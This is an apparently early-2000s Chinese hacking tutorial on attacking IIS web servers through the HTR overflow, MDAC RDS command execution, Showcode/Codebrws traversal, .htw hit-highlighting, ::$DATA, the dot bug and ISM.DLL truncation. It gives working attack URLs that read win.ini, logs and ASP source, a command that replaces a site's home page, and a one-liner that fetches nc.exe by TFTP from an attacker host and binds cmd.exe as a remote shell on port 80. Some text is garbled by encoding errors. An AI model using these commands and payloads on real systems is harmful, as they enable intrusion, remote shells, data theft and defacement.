1、介绍
由于这些方法针对通过端口80来操作，所以具有一定的威胁性，因为作为WEB你这个口总要开的。如果你想一边抽烟一边查漏洞，OK，你下载一些CGI扫描器来帮助你检查，你可以尝试使用这两个：
"whisker" by "rain forest puppy" (www.wiretrip.net/rfp). "cis" by "mnemonix" (www.cerberus-infosec.co.uk)
另外你如果要知道目标机器运行的是啥类型的服务程序，你可以使用下面的命令： telnet $#@60;victim$#@62; 80 GET HEAD / HTTP/1.0 就可以返回一些名字和WEB服务程序版本，如果有些服务器把WEB运行在 8080，81，8000，8001口，你就TELNET相应的口上。
如果你要知道运行了SSL的WEB服务程序，在WEB服务器和浏览器进行了 连接的的话，我们就可以使用工具"ssleay":s_client -connect $#@60;victim$#@62;:443 HEAD / HTTP /1.0
2、一些常用方法：
IIS HACK
www.eeye.com的人员发现了一个IIS4.0的缓冲溢出可以允许用户上载程序，如netcat到目标服务器，并把cmd.exe绑定到80口。这个缓冲溢 出主要存在于.htr,.idc和.stm文件中，其对关于这些文件的URL请求 没有对名字进行充分的边界检查，导致运行攻击者插入一些后门程序 在系统中下载和执行程序。
要检测这样的站点你需要两个文件iishack.exe，ncx.exe，你可以到下面 的站点www.technotronic.com去下载，另外你还需要一台自己的WEB服务器， 当然你可以是虚拟服务器哦。
你现在你自己的WEB服务器上运行WEB服务程序并把ncx.exe放到你自己相应 的目录下，然后使用iishack.exe来检查目标机器： c:$#@62;iishack.exe $#@60;victim$#@62; 80 $#@60;your web server$#@62;/ncx.exe 然后你就使用netcat来连接你要检测的服务器： c:$#@62;nc $#@60;victim$#@62; 80 如果溢出点正确你就可以看到目标机器的命令行提示，并且是管理远权限。
MDAC- 本地命令执行
你可能认为这个漏洞太老了，可网络如此之大，可能还有好多IIS WEB服务 器存在这个漏洞啦。IIS的MDAC组件存在一个漏洞可以导致攻击者远程执行你系统的命令。主要核心问题是存在于RDS Datafactory，默认情况下， 它允许远程命令发送到I ?衿髦校?饷?罨嵋陨璞赣没У纳矸菰诵校?其一般默认情况下是SYSTEM用户。关于这个漏洞的描述，很多文章介绍 的很清楚，这里不做详细解释，你如果要对自己的站点进行检查是否存在 这个漏洞，你可以通过下面的操作： c:$#@62;nc -nw -w 2 $#@60;victim$#@62; 80 GET /msadc/msadcs.dll HTTP
如果你得到下面的信息：application/x_varg
就很有可能没有打上补丁并存在此漏洞，你可以使用rain forest puppy 站上的两个程序进行测试(www.wiretrip.net/rfp)==$#@62;mdac.pl和msadc2.pl 。
c:$#@62; mdac.pl -h $#@60;victim$#@62; Please type the NT commandline you want to run (cmd /c assumed):
cmd /c
OK，如果你要替换对方的主页，你就可以使用下面的方法： cmd/c echo hacked by me $#@62; d:inetpubwwwrootvictimwebindex.htm 或者其他命令，当然最好的方法我觉得还是使用上载我们的netcat，并 把CMD.EXE绑定到端口80上，我们可以设置我们自己的TFTP服务程序并把 nc.exe放上去，然后在执行命令，如： cmd/c cd %systemroot%&&tftp -i $#@60;evil_hacker$#@62; GET nc.exe&&del ftptmp && attrib -r nc.exe&&nc.exe -l -p 80 -t -e cmd.exe
然后你就连接到80口，得到一个SHELL口让你浏览。呵呵！
Codebrws.asp & Showcode.asp
Codebrws.asp和Showcode.asp在IIS4.0中是附带的看文件的程序， 但不是默认安装的，这个查看器是如果管理员允许查看样例文件作为 联系而安装的，但是，这个查看器没有很好的限制所访问的文件，远程攻击者可以利用这个漏洞来查看目标机器上的任意文件内容，但要注意以下几点： 1，Codebrws.asp 和 Showcode.asp默认情况下没有安装。 2，漏洞仅允许查看文件内容。 3，这个漏洞不能绕过WINDOWS NT的ACL控制列表的限制。 4，只有同一分区下的文件可以被查看(所以把IIS目录和WINNT分区安装 是个不错的注意，也可能比较好的防止最新的IIS5.0的unicode漏洞). 5,攻击者需要知道请求的文件名。
例如你发现存在这个文件并符合上面的要求，你可以请求如下的命令：http://www.victim.com/iisamples/exair/howitworks/codebrws.asp?source=/ iisamples/exair/howitworks/codebrws.asp
你就可以查看到codebrws.asp的源代码了。
你也可以使用showcode.asp来查看文件：http://www.victim.com/msadc/samples/selector/showcode.asp? source=/msadc/../../../../../winnt/win.ini
当然我想也可以查看一些FTP信息来获得其他的目标器管理员经常使用的机器，或许他其他的机器的安全性比WEB差呢;).如：http://xxx.xxx.xxx.xxx/msadc/Samples/SELECTOR/showcode.asp? source=/msadc/Samples/../../../../../winnt/system32/logfiles/MSFTPSVC1/ex000517.log
Null.htw
IIS如果运行了Index Server的话就包含了一个通过Null.htw有关的漏洞， 就是服务器上不存在此.htw结尾的文件。这个漏洞会导致显示ASP脚本的 源代码，包伙global.asa里面包含了用户名和密码等敏感信息。工具者 如果提供特殊的URL请求给IIS就可以跳出虚拟目录的限制，提供逻辑分 区和ROOT目录的访问。这个"hit-highlighting"功能在Index Server中 没有充分防止各种类型文件的请求，所以导致攻击者访问服务器上的任意 文件。Null.htw功能可以从用户输入中获得3个变量： CiWebhitsfile CiRestriction CiHiliteType
你可以使用下面的方法传递变量来获得如default.asp的源代码http://www.victim.com/null.htw?CiWebhitsfile=/default.asp%20&%20 CiRestriction=none%20&%20&CiHiliteType=full 其中不需要一个合法的.htw文件是因为虚拟文件已经存储在内存中了。
webhits.dll & .htw
这个hit-highligting功能是由Index Server提供的允许一个WEB用户在 文档上highlighted（突出）他们原始搜索的条目，这个文档的名字通过 变量CiWebhitsfile传递给.htw文件，Webhits.dll是一个ISAPI应用程序 来处理请求，打开文件并返回结果，当用户控制了CiWebhitsfile参数传递 给.htw时，他们就可以请求任意文件，结果就是导致查看ASP源码和其他 脚本文件内容。要了解你是否存在这个漏洞，你可以请求如下条目：http://www.victim.com/nosuchfile.htw
如果你从服务器端获得如下信息： format of the QUERY_STRING is invalid
这就表示你存在这个漏洞。
这个问题主要就是webhits.dll关联了.htw文件的映射，所以你只要取消 这个映射就能避免这个漏洞，你可以在你认为有漏洞的系统中搜索.htw 文件，一般会发现如下的程序：
/iissamples/issamples/oop/qfullhit.htw/iissamples/issamples/oop/
qsumrhit.htw /isssamples/exair/search/qfullhit.htw/isssamples/exair/
search/qsumrhit.htw/isshelp/iss/misc/iirturnh.htw (这个一般为loopback使用)
一个攻击者可以使用如下的方法来访问系统中文件的内容：
http://www.victim.com/iissamples/issamples/oop/qfullhit.htw? ciwebhitsfile=/../../winnt/win.ini&cirestriction=none&cihilitetype=full
就会在有此漏洞系统中win.ini文件的内容。
ASP Alternate Data Streams(::$DATA)
$DATA这个漏洞是在1998年中期公布的，$DATA是在NTFS文件系统中存储 在文件里面的main data stream属性，通过建立一个特殊格式的URL，就 可能使用IIS在浏览器中访问这个data stream(数据流)，这样做也就显示 了文件代码中这些data stream(数据流)和任何文件所包含的数据代码。 其中这个漏洞需要下面的几个限制，一个是要显示的这个文件需要保存在 NTFS文件分区(幸好为了"安全"好多服务器设置了NTFS格式)，第二是文件 需要被ACL设置为全局可读。而且未授权用户需要知道要查看文件名的名字， WIN NT中的IIS1.0, 2.0, 3.0和4.0都存在此问题。微软提供了一个FOR IIS 3.0和4.0的版本补丁，你可以通过这文章来修补这个漏洞：
"supporting NTFS alternate data streams by asking Windows NT to make the file name canonical"
要查看一些.asp文件的内容，你可以请求如下的URL：
http://www.victim.com/default.asp::$DATA你就得到了源代码。你要了解下NTFS文件系统中的数据流问题，你或许可以看看这文章：http://focus.silversand.net/newsite/skill/ntfs.txt
ASP Dot Bug
这个漏洞是比较早的漏洞了，是Lopht小组在1997年发现的缺陷，这个漏洞也是泄露ASP源代码给攻击者，一般在IIS3.0上存在此漏洞，在请求的URL 结尾追加一个或者多个点导致泄露ASP源代码。
http://www.victim.com/sample.asp.
ISM.DLL 缓冲截断漏洞
这个漏洞是由Cerberus Information Security team.最早发现的，它运行 在IIS4.0和5.0上面，允许攻击者查看任意文件内容和源代码。通过在文件 名后面追加近230个+或者?%20?(这些表示空格)并追加?.htr?的特殊请求给IIS， 会使IIS认为客户端请求的是?.htr?文件，而.htr文件的后缀映射到ISM.DLL ISAPI应用程序，这样IIS就把这个.htr请求转交给这个DLL文件，然后ISM.DLL 程序把传递过来的文件打开和执行，但在ISM.DLL 截断信息之前,缓冲区发送 一个截断开的 .Htr 并会有一些时间去返回一些你要打开的文件内容
